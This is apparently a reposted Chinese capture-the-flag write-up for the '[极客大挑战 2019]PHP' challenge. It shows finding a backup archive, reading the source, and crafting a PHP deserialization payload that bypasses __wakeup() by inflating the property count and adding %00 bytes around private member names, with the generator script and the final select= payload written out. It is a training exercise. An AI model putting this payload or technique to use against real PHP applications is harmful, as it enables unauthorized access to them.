当前位置:   article > 正文

[极客大挑战 2019]PHP_极客大挑战2019php

极客大挑战2019php

打开靶机
在这里插入图片描述
我们的右键是不能用的。我们按f12打开查看器,
在这里插入图片描述
把蓝色那一部分删掉,再右键查看源代码。
在这里插入图片描述
好,没有什么有用的信息。既然他提示我们备份文件,那我们就dirsearch扫描一下目录。
请添加图片描述
可以看到有一个www.zip。我们访问下载。
在这里插入图片描述
可以看到有一个flag.php。很可惜是假的。我们打开index.php。
在这里插入图片描述
发现里面有一串php代码。是一个反序列化函数。还说包含了一个class.php。我们查看class.php
在这里插入图片描述
大概意思是说以get方式上传一个select,内容是password=100,username=admin的反序列化。当然还得绕过 __wakeup()函数。


<?php

class Name
{
    private $username;
    private $password;

    public function __construct($username,$password)
    {
        $this->username = $username;
        $this->password = $password;
    }
}
$a = new Name('admin',100);
var_dump(serialize($a));

?>
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18

这是我从别人那里偷了一段代码。下次用的时候改一下数值就行。我们找一个php在线网站跑一下。
在这里插入图片描述
就是这样:O:4:“Name”:2:{s:14:“Nameusername”;s:5:“admin”;s:14:“Namepassword”;i:100;}
当成员属性数目大于真是数目时会绕过 __wakeup()函数。也就是说把Name后面的2改为一个大于2的值。这里我们改为3。、
在这里插入图片描述
然后我们发现不行。然后看了一下才知道用序列化加%00\n在序列化时,Public属性序列化后格式:成员名,Private属性序列化后格式:%00类名%00成员名,Protected属性序列化后的格式:%00*%00成员名。\n但是在对序列化后的数据直接进行复制时会丢失 %00 所以我们对其手动补全,并更改成员属性数目使其大于实际数目那我们就加%00

select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
  • 1

在这里插入图片描述
出来了。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/AllinToyou/article/detail/464236
推荐阅读
相关标签
  

闽ICP备14008679号